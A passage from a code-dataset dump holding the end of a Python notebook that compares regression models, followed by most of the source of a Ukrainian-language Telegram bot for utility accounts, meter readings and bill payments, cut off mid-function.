np.sqrt(MSE3)\nr23 = metrics.r2_score(y_test,y_pred2)\nprint(f\"MAE:{MAE3} \\nMSE:{MSE3}\\nRMSE:{RMSE3} \\nR2_Score:{r23}\")\n\n\n# `Above are the MAE,MSE and RMSE scores for Random Forest Regressor.`\n\n# ###### Random Forest Regressor - Hyperparameter Tuning\n\n# *Hyperparameter tuning aims to find such parameters where the performance of the model is highest or where the model performance is best and the error rate is least.*\n\n# In[49]:\n\n\nn_estimators = [int(x) for x in np.linspace(start = 100, stop = 1200, num = 12)]\nmax_features = [1.0, 'sqrt']\nmax_depth = [int(x) for x in np.linspace(5, 30, num = 6)]\nmin_samples_split = [2, 5, 10, 15, 100]\nmin_samples_leaf = [1, 2, 5, 10]\n\n\n# In[50]:\n\n\nrandom_grid = {'n_estimators': n_estimators,\n 'max_features': max_features,\n 'max_depth': max_depth,\n 'min_samples_split': min_samples_split,\n 'min_samples_leaf': min_samples_leaf}\n\nprint(random_grid)\n\n\n# `Above are the 5 hyperparameters that having used for optimizing.`\n# * `n_estimators:Number of trees in random forest`\n# * `max_features:Number of features to consider at every split`\n# * `max_depth:Maximum number of levels in tree`\n# * `min_samples_split:Minimum number of samples required to split a node`\n# * `min_samples_leaf:Minimum number of samples required at each leaf node`\n\n# *Model building using hyperparameter*\n\n# In[51]:\n\n\nrf_model = RandomForestRegressor()\n\n\n# In[52]:\n\n\nrf_random_model = RandomizedSearchCV(estimator = rf_model, param_distributions = random_grid,scoring=None,n_iter = 10, cv = 5, verbose=2, random_state=42, n_jobs = 1)\n\n\n# In[53]:\n\n\nrf_random_model.fit(X_train,y_train)\ny_predict=rf_random_model.predict(X_test)\n\n\n# In[54]:\n\n\nprint(\"Training Score After hyperparamter:\",rf_random_model.score(X_train,y_train))\nprint(\"Testing Score After hyperparamter:\",rf_random_model.score(X_test,y_test))\n\n\n# `Above is the Training and Test score from Random Forest Regressor using hyperparameter..`\n\n# In[84]:\n\n\nfrom sklearn import metrics\nMAE = metrics.mean_absolute_error(y_test, y_predict)\nMSE = metrics.mean_squared_error(y_test, y_predict)\nRMSE = np.sqrt(MSE)\nr2 = metrics.r2_score(y_test,y_predict)\nprint(f\"MAE:{MAE} \\nMSE:{MSE}\\nRMSE:{RMSE} \\nR2_Score:{r2}\")\n\n\n# `Above are the MAE,MSE and RMSE scores for Random Forest Regressor using hyperparameter.`\n\n# #### Results and Conclusion \n\n# *Model comparison*\n\n# In[88]:\n\n\nresults = pd.DataFrame({\"Multiple Regression\":[MAE1,MSE1,RMSE1,r21],\n \"Polynomial Regression\":[MAE2,MSE2,RMSE2,r22],\n \"Random Forest Regressor\":[MAE3,MSE3,RMSE3,r23],\n \"RF_Hyperparameter\":[MAE,MSE,RMSE,r2]})\nresults.index=['MAE','MSE','RMSE','R2_Score']\nresults\n\n\n# *Conclusion*\n\n# * `The above dataframe shows the comparison between Multiple Regression, Polynomial Regression, Random Forest Regressor and Random Forest with hyperparameter tuning. `\n# * `According to results Random Forest Regressor performs quite well amongst all the models.` \n# * `The MSE and RMSE errors are less in comparison to other models.` \n# * `The R-square score is higher in RF compared to other models.`\n# * `As higher the R-squared, the better the model fits your data, therefore Random Forest works best for this dataset.`\n# * `The training score for RF was around 94.5 which was quite higher than other models.`\n# * `Although hyperparameter tuning didn't work well in this case.`\n# * `Also Polynomial Regression enhanced the results in comparsion to multiple regression as the nature of data was curvilinear (not a perfect linear relationship).` \n\n# In[ ]:\n\n\n\n\n","repo_name":"honeyjani/honey-jani","sub_path":"Assignment Part 1.py","file_name":"Assignment Part 1.py","file_ext":"py","file_size_in_byte":18032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13296958416","text":"import telebot\nimport config\nimport sqlite3\nfrom telebot import types\nimport texts\nimport db\n\nbot = telebot.TeleBot(config.TOKEN)\n\ndb.create_tables()\n\n@bot.message_handler(commands=['start'])\ndef start_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('📝Мої особові рахунки', callback_data='my_bills'),\n types.InlineKeyboardButton('📊Передати показники лічильника', callback_data='transfer_counter_readings'),\n types.InlineKeyboardButton('💳Сплатити', callback_data='pay'),\n types.InlineKeyboardButton('📞Зворотній звязок', callback_data='feedback'),\n types.InlineKeyboardButton('❕Корисна інформація', callback_data='addition'),\n types.InlineKeyboardButton('ℹ️ Про бот', callback_data='adout_bot')\n ]\n markup.add(*commands)\n bot.send_message(message.chat.id, \"✋Вітаю! Це Єдиний розрахунковий центр по житлово-комунальним послугам.\\n⬇️Доступні команди:\", reply_markup=markup)\n \n@bot.callback_query_handler(func=lambda call: True)\ndef handle_button_click(call):\n if call.data == 'my_bills':\n my_bills_handler(call.message)\n elif call.data == 'adout_bot':\n adout_bot_handler(call.message)\n elif call.data == 'to_main':\n start_handler(call.message)\n elif call.data == 'add_bill':\n add_bill_handler(call.message)\n elif call.data == 'delete_bill':\n delete_bill_handler(call.message)\n elif call.data.startswith('confirm_delete_'):\n confirm_delete_handler(call.message, call.data.split('_')[2])\n elif call.data.startswith('execute_delete_'):\n execute_delete_handler(call.message, call.data.split('_')[2])\n elif call.data.startswith('view_bill_'):\n view_bill_handler(call.message, call.data.split('_')[2])\n elif call.data == 'transfer_counter_readings':\n transfer_counter_readings_handler(call.message)\n elif call.data.startswith('zones_bill_'):\n select_zones_bill_handler(call.message, call.data.split('_')[2])\n elif call.data.startswith('zone1_'):\n zone1_handler(call.message, call.data.split('_')[1])\n elif call.data.startswith('zone2_'):\n zone2_handler(call.message, call.data.split('_')[1])\n elif call.data == 'pay':\n pay(call.message)\n elif call.data.startswith('pay_bill_'):\n pay_bill_handler(call.message, call.data.split('_')[2])\n elif call.data == 'feedback':\n feedback_handler(call.message)\n elif call.data == 'contacts':\n contacts_handler(call.message)\n elif call.data == 'message':\n message_user_handler(call.message)\n elif call.data == 'addition':\n addition_handler(call.message)\n elif call.data == 'tariffs':\n tariffs_handler(call.message)\n elif call.data == 'links':\n links_handler(call.message)\n elif call.data.startswith('pay_method_handler_'):\n pay_method_handler(call.message, call.data.split('_')[3])\n elif call.data.startswith('crypt_pay'):\n crypt_pay_handler(call.message)\n elif call.data.startswith('payment_systems_pay'):\n payment_systems_pay_handler(call.message)\n elif call.data.startswith('paid_'):\n paid_handler(call.message, call.data.split('_')[1])\n elif call.data.startswith('gas'):\n add_type_bill_handler(call.message, \"Газ\")\n elif call.data.startswith('gas_delivery'):\n add_type_bill_handler(call.message, \"Доставка газу\")\n elif call.data.startswith('electricity'):\n add_type_bill_handler(call.message, \"Електроенергія\")\n elif call.data.startswith('water'):\n add_type_bill_handler(call.message, \"Водопостачання\")\n elif call.data.startswith('drainage'):\n add_type_bill_handler(call.message, \"Водовідведення\")\n elif call.data.startswith('hot_water'):\n add_type_bill_handler(call.message, \"Постачання гарячої води\")\n elif call.data.startswith('rubbish'):\n add_type_bill_handler(call.message, \"Вивіз сміття\")\n elif call.data.startswith('internet'):\n add_type_bill_handler(call.message, \"Інтернет\")\n elif call.data.startswith('view_photo_handler_'):\n view_photo_handler(call.message, call.data.split('_')[3])\n \n\ndef adout_bot_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n command = types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n markup.add(command)\n bot.send_message(message.chat.id, texts.about_bot, reply_markup=markup)\n\ndef my_bills_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('➕Додати особовий рахунок', callback_data='add_bill'),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n bills = get_bills()\n if len(bills) >= 2:\n commands.insert(0, types.InlineKeyboardButton(\"➖Видалити рахунок\", callback_data='delete_bill'))\n for bill in bills:\n commands.insert(0, types.InlineKeyboardButton(bill, callback_data='view_bill_{}'.format(bill)))\n \n markup.add(*commands) \n bot.send_message(message.chat.id, '⬇️Оберіть особовий рахунок або додайте новий:', reply_markup=markup)\n \ndef add_bill_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('🔥Газ', callback_data='gas'),\n types.InlineKeyboardButton('🔥Доставка газу', callback_data='gas_delivery'),\n types.InlineKeyboardButton('💡Електроенергія', callback_data='electricity'),\n types.InlineKeyboardButton('💧Водопостачання', callback_data='water'),\n types.InlineKeyboardButton('💧Водовідведення', callback_data='drainage'),\n types.InlineKeyboardButton('🌡️Постачання гарячої води', callback_data='hot_water'),\n types.InlineKeyboardButton('🗑️Вивіз сміття', callback_data='rubbish'),\n types.InlineKeyboardButton('🌐Інтернет', callback_data='internet'),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n bot.send_message(message.chat.id, \"⬇️Виберіть тип послуги:\", reply_markup=markup)\n\ndef add_type_bill_handler(message, service_type):\n markup = types.InlineKeyboardMarkup(row_width=1)\n command = types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n markup.add(command)\n bot.send_message(message.chat.id, f\"⌨️Введіть номер Вашого особового рахунку (номер складається з 10 цифр) для {service_type}:\", reply_markup=markup)\n bot.register_next_step_handler(message, lambda msg: process_add_bill(msg, service_type))\n\ndef process_add_bill(message, service_type):\n personal_account = message.text\n if check_valid_personal_account(message, personal_account):\n return\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('INSERT INTO bills (personal_account, type, new_zone1, new_zone2, old_zone1, old_zone2, paid) VALUES (?, ?, ?, ?, ?, ?, ?)', (personal_account, service_type, 0, 0, 0, 0, False))\n conn.commit()\n cursor.close()\n conn.close()\n bot.send_message(message.chat.id, \"✅Особовий рахунок додано!\")\n start_handler(message)\n \ndef delete_bill_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n bills = get_bills()\n for bill in bills:\n commands.insert(0, types.InlineKeyboardButton(bill, callback_data='confirm_delete_{}'.format(bill)))\n\n markup.add(*commands)\n bot.send_message(message.chat.id, '⬇️Оберіть рахунок для видалення:', reply_markup=markup)\n\ndef confirm_delete_handler(message, bill):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('✔️Підтвердити видалення', callback_data='execute_delete_{}'.format(bill)),\n types.InlineKeyboardButton('✖️Скасувати', callback_data='my_bills')\n ]\n markup.add(*commands)\n bot.send_message(message.chat.id, f\"⁉️Ви впевнені, що бажаєте видалити рахунок {bill}?\", reply_markup=markup)\n \ndef execute_delete_handler(call, bill):\n delete_bill(bill)\n bot.send_message(call.chat.id, f\"✅Рахунок {bill} був успішно видалений.\")\n my_bills_handler(call)\n\ndef delete_bill(bill):\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('DELETE FROM bills WHERE personal_account = ?', (bill,))\n conn.commit()\n cursor.close()\n conn.close()\n \ndef get_bills():\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('''SELECT personal_account FROM bills''')\n result = cursor.fetchall()\n conn.commit()\n cursor.close()\n conn.close()\n return [row[0] for row in result] \n\ndef transfer_counter_readings_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('➕Додати особовий рахунок', callback_data='add_bill'),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n bills = get_bills()\n if len(bills) >= 2:\n commands.insert(0, types.InlineKeyboardButton(\"➖Видалити рахунок\", callback_data='delete_bill'))\n for bill in bills:\n commands.insert(0, types.InlineKeyboardButton(bill, callback_data='zones_bill_{}'.format(bill)))\n \n markup.add(*commands) \n bot.send_message(message.chat.id, '⬇️Оберіть особовий рахунок для передачі показників:', reply_markup=markup)\n\ndef view_bill_handler(message, bill):\n address = get_address(bill)\n sum = calculate_payment_amount(bill)\n \n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT new_zone1, new_zone2, old_zone1, old_zone2, type, paid FROM bills WHERE personal_account = ?', (bill,))\n result = cursor.fetchone()\n current_rate1 = result[0] if result else 0\n past_rate1 = result[2] if result else 0\n account_type = result[4]\n paid = result[5]\n cursor.close()\n conn.close()\n \n markup = types.InlineKeyboardMarkup(row_width=1)\n \n commands = [\n types.InlineKeyboardButton('📷Переглянути фото', callback_data='view_photo_handler_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n if paid:\n text_paid = '✅Сплачено'\n else:\n text_paid = f'❗️Потрібно сплатити: {sum} грн.'\n text = f\"📄Рахунок {account_type} {bill} зареєстровано за адресою:\\n\\n{address}\\n🔒Статус:\\n{text_paid}\\n\\n🔢Рахункові показники:\\n🔼Поточний = {current_rate1}\\n🔽Попередній = {past_rate1}\"\n bot.send_message(message.chat.id, text, reply_markup=markup)\n \ndef select_zones_bill_handler(message, bill):\n markup = types.InlineKeyboardMarkup(row_width=1)\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT type FROM bills WHERE personal_account = ?', (bill,))\n result = cursor.fetchone()\n account_type = result[0] if result else None\n \n address = get_address(bill)\n \n if account_type == \"Газ\":\n commands = [\n types.InlineKeyboardButton('🔥Лічильник газовий', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n elif account_type == \"Доставка газу\":\n commands = [\n types.InlineKeyboardButton('🔥Підтвердити вибір: Доставка газу', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n elif account_type == \"Електроенергія\":\n commands = [\n types.InlineKeyboardButton('1️⃣1 зона', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('2️⃣2 зони', callback_data='zone2_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n elif account_type == \"Водопостачання\":\n commands = [\n types.InlineKeyboardButton('💧Підтвердити вибір: Водопостачання', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n elif account_type == \"Водовідведення\":\n commands = [\n types.InlineKeyboardButton('💧Підтвердити вибір: Водовідведення', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n elif account_type == \"Постачання гарячої води\":\n commands = [\n types.InlineKeyboardButton('🌡️Підтвердити вибір: По��тачання гарячої води', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n elif account_type == \"Вивіз сміття\":\n commands = [\n types.InlineKeyboardButton('🗑️Підтвердити вибір: Вивіз сміття', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n elif account_type == \"Інтернет\":\n commands = [\n types.InlineKeyboardButton('🌐Підтвердити вибір: Інтернет', callback_data='zone1_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n texts = [f\"📄Рахунок {bill}\\nЗареєстровано за адресою:\\n\\n{address}\", \"⬇️Оберіть відповідний варіант:\"]\n bot.send_message(message.chat.id, texts[0])\n bot.send_message(message.chat.id, texts[1], reply_markup=markup)\n\ndef get_address(bill):\n db.generate_test_data(1, bill)\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n\n cursor.execute('SELECT * FROM addresses WHERE personal_account = ?', (bill,))\n rows = cursor.fetchall()\n\n response = \"\"\n for row in rows:\n response += f\"📍Місто: {row[2]}, вулиця: {row[3]}, будинок: {row[4]}, підїзд: {row[5]}, квартира: {row[6]}\\n\"\n\n cursor.close()\n conn.close()\n\n return response \n \ndef zone1_handler(message, bill):\n bot.send_message(message.chat.id, \"⌨️Введіть показання (всі цифри до коми):\")\n bot.register_next_step_handler(message, process_zone1_handler, bill)\n\ndef process_zone1_handler(message, bill):\n zone1 = message.text\n if not check_input_validity(zone1):\n bot.send_message(message.chat.id, \"❌Введені дані некоректні. Будь ласка, введіть лише числове значення.\")\n start_handler(message)\n return\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT new_zone1, old_zone1 FROM bills WHERE personal_account = ?', (bill,))\n result = cursor.fetchone()\n current_zone1 = result[0] if result else 0\n old_zone1 = result[1] if result else 0\n \n if current_zone1 != 0:\n cursor.execute('UPDATE bills SET old_zone1 = ?, paid = ? WHERE personal_account = ?', (current_zone1, False, bill))\n \n if current_zone1 < old_zone1:\n bot.send_message(message.chat.id, \"❌Значення попереднього показника (1 зона) не може бути меншим за поточне значення.\")\n start_handler(message)\n return\n \n cursor.execute('UPDATE bills SET new_zone1 = ?, paid = ? WHERE personal_account = ?', (zone1, False, bill))\n conn.commit()\n cursor.close()\n conn.close()\n\n bot.send_message(message.chat.id, \"✅Показник додано!\\n📷Тепер сфотографуйте лічильник, щоб було видно цифри до коми:\")\n bot.register_next_step_handler(message, photo_handler, bill)\n \ndef photo_handler(message, bill):\n photo = message.photo[-1]\n file_id = photo.file_id\n\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n buttons = [\n types.KeyboardButton('✅ Підтверджую'),\n types.KeyboardButton('❌ Відмінити')\n ]\n markup.add(*buttons)\n bot.send_message(message.chat.id, \"Підтвердіть, що фотографія була зроблена належним чином та не було застосовано графічних редакторів:\", reply_markup=markup)\n bot.register_next_step_handler(message, lambda msg: save_photo(msg, bill, file_id))\n\ndef save_photo(message, bill, file_id):\n personal_account = message.text\n\n if personal_account == '❌ Відмінити':\n bot.send_message(message.chat.id, \"❌ Завантаження фотографії скасовано.\")\n start_handler(message)\n return\n\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('INSERT INTO photos (personal_account, file_id) VALUES (?, ?)', (bill, file_id))\n conn.commit()\n cursor.close()\n conn.close()\n\n bot.send_message(message.chat.id, \"✅ Фотографію збережено успішно!\")\n start_handler(message)\n\ndef view_photo_handler(message, bill):\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT file_id FROM photos WHERE personal_account = ?', (bill,))\n result = cursor.fetchone()\n if result:\n file_id = result[0]\n bot.send_photo(message.chat.id, file_id)\n else:\n bot.send_message(message.chat.id, \"Фотографія для даного рахунку не знайдена.\")\n cursor.close()\n conn.close()\n \ndef zone2_handler(message, bill):\n bot.send_message(message.chat.id, f\"2️⃣Ви вибрали зонність свого лічильнику: 2 зони\")\n bot.send_message(message.chat.id, \"⌨️Введіть показання: ☀️ДЕНЬ пробіл 🌙НІЧ (всі цифри до коми).\")\n bot.register_next_step_handler(message, process_zone2_handler, bill)\n\ndef process_zone2_handler(message, bill):\n text = message.text\n words = text.split()\n for word in words:\n if not check_input_validity(word):\n bot.send_message(message.chat.id, \"❌Введені дані некоректні. Будь ласка, введіть лише числове значення.\")\n start_handler(message)\n return\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT new_zone1, new_zone2, old_zone1, old_zone2 FROM bills WHERE personal_account = ?', (bill,))\n result = cursor.fetchone()\n current_zone1 = result[0] if result else 0\n current_zone2 = result[1] if result else 0\n old_zone1 = result[2] if result else 0\n old_zone2 = result[3] if result else 0\n \n if current_zone1 != 0:\n cursor.execute('UPDATE bills SET old_zone1 = ?, paid = ? WHERE personal_account = ?', (current_zone1, False, bill))\n \n if current_zone2 != 0:\n cursor.execute('UPDATE bills SET old_zone2 = ?, paid = ? WHERE personal_account = ?', (current_zone2, False, bill))\n \n if current_zone1 < old_zone1:\n bot.send_message(message.chat.id, \"❌Значення попереднього показника (1 зона) не може бути більшим за нове значення.\")\n start_handler(message)\n return\n \n if current_zone2 < old_zone2:\n bot.send_message(message.chat.id, \"❌Значення попереднього показника (2 зона) не може бути більшим за нове значення.\")\n start_handler(message)\n return\n \n cursor.execute('UPDATE bills SET new_zone1 = ?, paid = ? WHERE personal_account = ?', (words[0], False, bill))\n cursor.execute('UPDATE bills SET new_zone2 = ?, paid = ? WHERE personal_account = ?', (words[1], False, bill))\n conn.commit()\n cursor.close()\n conn.close()\n\n bot.send_message(message.chat.id, \"✅Показник (2 зони) додано!\")\n start_handler(message)\n \ndef check_input_validity(text):\n if not text.isdigit():\n return False\n return True \n\ndef pay(message): \n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('➕Додати особовий рахунок', callback_data='add_bill'),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n bills = get_bills()\n if len(bills) >= 2:\n commands.insert(0, types.InlineKeyboardButton(\"➖Видалити рахунок\", callback_data='delete_bill'))\n for bill in bills:\n commands.insert(0, types.InlineKeyboardButton(bill, callback_data='pay_bill_{}'.format(bill)))\n \n markup.add(*commands) \n bot.send_message(message.chat.id, 'Оберіть особовий рахунок для сплати:', reply_markup=markup) \n \ndef pay_bill_handler(message, bill):\n address = get_address(bill)\n sum = calculate_payment_amount(bill)\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton(f'💰Сплатити {sum}', callback_data='pay_method_handler_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n\n bot.send_message(message.chat.id, f\"📄Рахунок {bill} зареєстровано за адресою:\\n\\n{address}\", reply_markup=markup)\n \ndef pay_method_handler(message, bill):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton(f'💳Карткова оплата', url=\"https://buy.stripe.com/test_3cs6ru3zwfbvgKcbII\"),\n types.InlineKeyboardButton(f'💰Оплата через платіжні системи', callback_data='payment_systems_pay'),\n types.InlineKeyboardButton(f'🌐Оплата за допомогою криптовалют', callback_data='crypt_pay'),\n types.InlineKeyboardButton(f'✅Позначити рахунок {bill} сплаченим', callback_data='paid_{}'.format(bill)),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n \n bot.send_message(message.chat.id, \"⬇️Виберіть спосіб оплати:\", reply_markup=markup)\n \ndef calculate_payment_amount(bill):\n gas_rate = 7.96\n gas_delivery_rate = 1.79\n wather_rate = 8.94\n drainage_rate = 3.06\n day_rate = 1.44\n more_day_rate = 1.68\n night_rate = day_rate/2\n hot_wather = 69.62\n garbage_removal_rate = 36.11\n internet_rate = 90\n sum = 0\n \n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT new_zone1, new_zone2, old_zone1, old_zone2, type FROM bills WHERE personal_account = ?', (bill,))\n result = cursor.fetchone()\n current_rate1 = result[0] if result else 0\n past_rate1 = result[1] if result else 0\n current_rate2 = result[2] if result else 0\n past_rate2 = result[3] if result else 0\n account_type = result[4]\n cursor.close()\n conn.close()\n \n if account_type == \"Газ\":\n if (current_rate1 == 0 and current_rate2 == 0) or current_rate2 == 0:\n sum = 10 * gas_rate\n else:\n sum = (current_rate1 - current_rate2) * gas_rate \n elif account_type == \"Доставка газу\":\n sum = 10 * gas_delivery_rate\n elif account_type == \"Електроенергія\":\n if current_rate1 and current_rate2 == 0 and current_rate1 == 0:\n day_amount = 0\n elif current_rate2 == 0:\n day_amount = 160 * 1.44\n else:\n day_amount = (current_rate1 - current_rate2)\n if day_amount > 250:\n day_amount = day_amount * more_day_rate\n else:\n day_amount = day_amount * day_rate\n \n if past_rate1 and past_rate2 == 0 and past_rate1 == 0:\n night_amount = 0\n elif past_rate1 != 0 and past_rate2 == 0:\n night_amount = 80 * 0.72\n else:\n night_amount = (past_rate1 - past_rate2) * night_rate\n sum = day_amount + night_amount\n elif account_type == \"Водопостачання\":\n if (current_rate1 == 0 and current_rate2 == 0) or current_rate1 != 0:\n sum = 10 * wather_rate\n else:\n sum = (current_rate1 - current_rate2) * wather_rate \n elif account_type == \"Водовідведення\":\n sum = 10 * drainage_rate\n elif account_type == \"Постачання гарячої води\":\n if (current_rate1 == 0 and current_rate2 == 0) or current_rate1 != 0:\n sum = 10 * hot_wather\n else:\n sum = (current_rate1 - current_rate2) * hot_wather\n elif account_type == \"Вивіз сміття\":\n sum = 1 * garbage_removal_rate\n elif account_type == \"Інтернет\":\n sum = 1 * internet_rate\n else:\n sum = -1\n \n sum = round(sum, 2)\n \n return sum\n \ndef feedback_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('➖Написати повідомлення', callback_data='message'),\n types.InlineKeyboardButton('📞Контакти', callback_data='contacts'),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n bot.send_message(message.chat.id, \"Вітаю! Це Єдиний розрахунковий центр по житлово-комунальним послугам. Доступні команди:\", reply_markup=markup)\n\ndef contacts_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n command = types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n markup.add(command)\n email = \"test\"\n phone = \"test\"\n bot.send_message(message.chat.id, f\"↔️ Зворотній зв'язок:\\n\\n📧 Електронна пошта: {email}\\n📞 Телефон: {phone}\", reply_markup=markup)\n\ndef message_user_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n command = types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n markup.add(command)\n bot.send_message(message.chat.id, \"➖Напишіть повідомлення:\", reply_markup=markup)\n bot.register_next_step_handler(message, process_message_user_handler)\n \ndef process_message_user_handler(message):\n bot.send_message(message.chat.id, \"✅Ваше повідомлення надіслано!\")\n start_handler(message)\n\ndef addition_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton(f'💰Тарифи', callback_data='tariffs'),\n types.InlineKeyboardButton(f'🔗Посилання, які варто відвідати', callback_data='links'),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n \n bot.send_message(message.chat.id, '📋Оберіть наступні дії:', reply_markup=markup)\n\ndef tariffs_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n tariffs = [\n \"🔥Газ і розподіл (доставка) газу:\\n🔹 7,96 грн. (з ПДВ) за 1 м³\\n🔹 1,79 грн. за 1 м³\\n\\n\",\n \"💡Електроенергія:\\n🔹 до 250 кВт⋅год (включно) - 1,44 грн. (з ПДВ) за 1 кВт⋅год\\n🔹 понад 250 кВт⋅год — 1,68 грн. (з ПДВ) за 1 кВт⋅год\\n\\n\",\n \"💧Водопостачання та водовідведення:\\n🔹 від 8,94 до 39,42 грн. за 1 м³, з ПДВ\\n🔹 від 3,06 до 40,51 грн. за 1 м³, з ПДВ\",\n \"🌡️Постачання гарячої води:\\n🔹 від 69,62 до 110,05 грн. за 1 м³, з ПДВ\",\n \"🗑️Вивіз сміття\\n🔹 36,11 грн\",\n \"🌐Інтернет:\\n🔹 від 90 до 1000 грн/міс\"\n ]\n for tariff in tariffs:\n bot.send_message(message.chat.id, tariff)\n bot.send_message(message.chat.id, '⬇️Оберіть наступні дії:', reply_markup=markup)\n\ndef links_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton(text=\"🔹Права споживачів житлово-комунальних послуг та їх захист\", url=\"https://wiki.legalaid.gov.ua/index.php/%D0%9F%D1%80%D0%B0%D0%B2%D0%B0_%D1%81%D0%BF%D0%BE%D0%B6%D0%B8%D0%B2%D0%B0%D1%87%D1%96%D0%B2_%D0%B6%D0%B8%D1%82%D0%BB%D0%BE%D0%B2%D0%BE-%D0%BA%D0%BE%D0%BC%D1%83%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%B8%D1%85_%D0%BF%D0%BE%D1%81%D0%BB%D1%83%D0%B3_%D1%82%D0%B0_%D1%97%D1%85_%D0%B7%D0%B0%D1%85%D0%B8%D1%81%D1%82\"),\n types.InlineKeyboardButton(text=\"🔹Комунальні тарифи\", url=\"https://index.minfin.com.ua/ua/tariff/\"),\n types.InlineKeyboardButton(text=\"🔹Як правильно подати показник газового лічильника\", url=\"https://zaxid.net/yak_pravilno_podati_pokaznik_gazovogo_lichilnika_i_navishho_tse_robiti_n1551437\"),\n types.InlineKeyboardButton(text=\"🔹Як правильно подати показник електролічильника\", url=\"https://loe.lviv.ua/ua/pokaz_pobut\"),\n types.InlineKeyboardButton(text=\"🔹ЦЕНТР КОМУНАЛЬНОГО СЕРВІСУ\", url=\"https://cks.com.ua/\"),\n types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n bot.send_message(message.chat.id, \"🔗Посилання, які варто відвідати:\", reply_markup=markup)\n\ndef crypt_pay_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n command = types.InlineKeyboardButton('⬅️Методи оплати', callback_data='pay_method_handler_')\n markup.add(command)\n bot.send_message(message.chat.id, \"⭕️Перепрошую, даний метод оплати за допомогою криптовалюти тимчасово недоступний.\\n\\n👨‍💻Наші спеціалісти вже працюють над проблемою.\\n\\n⬇️Оберіть наступну дію:\", reply_markup=markup)\n\ndef payment_systems_pay_handler(message):\n markup = types.InlineKeyboardMarkup(row_width=1)\n command = types.InlineKeyboardButton('⬅️Методи оплати', callback_data='pay_method_handler_')\n markup.add(command)\n bot.send_message(message.chat.id, \"⭕️Упс.. Щось пішло не так. Виникла помилка.\\n\\n👨‍💻Наші спеціалісти вже працюють над проблемою.\\n\\n⬇️Оберіть наступну дію:\", reply_markup=markup)\n\ndef paid_handler(message, bill):\n address = get_address(bill)\n markup = types.InlineKeyboardMarkup(row_width=1)\n commands = [\n types.InlineKeyboardButton('📞Зворотній звязок', callback_data='feedback'),\n 